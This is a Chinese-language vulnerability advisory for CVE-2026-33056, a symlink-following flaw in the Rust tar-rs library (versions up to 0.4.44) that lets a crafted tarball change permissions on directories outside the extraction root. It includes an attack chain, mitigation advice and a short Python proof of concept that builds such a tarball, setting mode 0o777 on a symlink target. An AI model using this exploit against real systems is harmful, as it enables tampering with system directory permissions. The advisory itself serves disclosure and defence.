IPBUF安全漏洞报告
English
CVE-2026-33056 CVSS 6.5 中危

CVE-2026-33056 tar-rs 符号跟随致目录权限篡改漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33056
漏洞类型
符号链接跟随
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
tar-rs

相关标签

符号链接tar-rsRust权限修改路径穿越CVE-2026-33056

漏洞概述

tar-rs是Rust语言的tar归档处理库。在0.4.44及以下版本中,其`unpack_dir`函数存在安全缺陷。由于使用`fs::metadata()`进行路径检查,该函数会自动跟随符号链接。攻击者可构造包含恶意符号链接和目录条目的特制tarball,诱使程序在解压时跟随链接并修改解压根目录外任意目录的权限,从而破坏系统完整性,造成严重安全隐患。

技术细节

该漏洞的核心在于`unpack_dir`函数在处理解压逻辑时的校验机制不当。当程序需要确认路径是否为目录时,使用了`fs::metadata()`。与`fs::symlink_metadata()`不同,`fs::metadata()`会自动解析符号链接并返回目标文件的元数据。攻击者利用这一特性,构造一个包含两个同名条目的tarball:第一个是指向系统敏感目录(如/etc)的符号链接,第二个是目录类型的条目。在解压过程中,程序先创建符号链接。当处理后续的同名目录条目时,`fs::metadata()`跟随符号链接指向了实际系统目录。程序误判目标已存在且为目录,随即执行chmod操作修改权限。这允许攻击者在无需认证的情况下,仅通过诱导用户解压文件,即可改变系统关键目录的访问权限,造成严重的安全风险。

攻击链分析

STEP 1
构造恶意文件
攻击者构造包含恶意符号链接和同名目录的特制tarball文件。
STEP 2
诱导解压
诱导受害者使用易受攻击版本的tar-rs库解压该恶意文件。
STEP 3
符号链接跟随
tar-rs的unpack_dir函数在检查路径时,使用fs::metadata()跟随了符号链接。
STEP 4
权限篡改
程序误将符号链接指向的外部目录视为解压目录,并对其执行chmod操作,修改权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import os # Create a malicious tarball that exploits CVE-2026-33056 # Structure: # 1. Symlink: 'safe_dir' -> '/tmp/real_target' # 2. Directory: 'safe_dir' (triggers chmod on the symlink target) # Ensure a target exists for demonstration purposes target_dir = '/tmp/real_target' if not os.path.exists(target_dir): os.makedirs(target_dir) filename = 'cve_2026_33056_poc.tar' with tarfile.open(filename, 'w') as tar: # Step 1: Create a symlink entry # This creates a link named 'safe_dir' pointing to an external directory symlink_info = tarfile.TarInfo(name='safe_dir') symlink_info.type = tarfile.SYMTYPE symlink_info.linkname = target_dir tar.addfile(symlink_info) # Step 2: Create a directory entry with the SAME name # When tar-rs processes this, it checks metadata('safe_dir'). # Because of the bug, it follows the symlink to '/tmp/real_target'. # It then applies chmod to '/tmp/real_target'. dir_info = tarfile.TarInfo(name='safe_dir') dir_info.type = tarfile.DIRTYPE # e.g., setting permissions to 777 dir_info.mode = 0o777 tar.addfile(dir_info) print(f"[+] Created exploit archive: {filename}") print(f"[+] Extracting this with vulnerable tar-rs will chmod {target_dir}")

影响范围

tar-rs <= 0.4.44

防御指南

临时缓解措施
建议立即将tar-rs库升级至0.4.45或更高版本以修复此漏洞。如果无法立即升级,应严格限制解压来源,避免解压来自不可信第三方的tar归档文件,或使用其他工具对归档内容进行安全审计,确保不存在利用符号链接修改外部目录权限的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表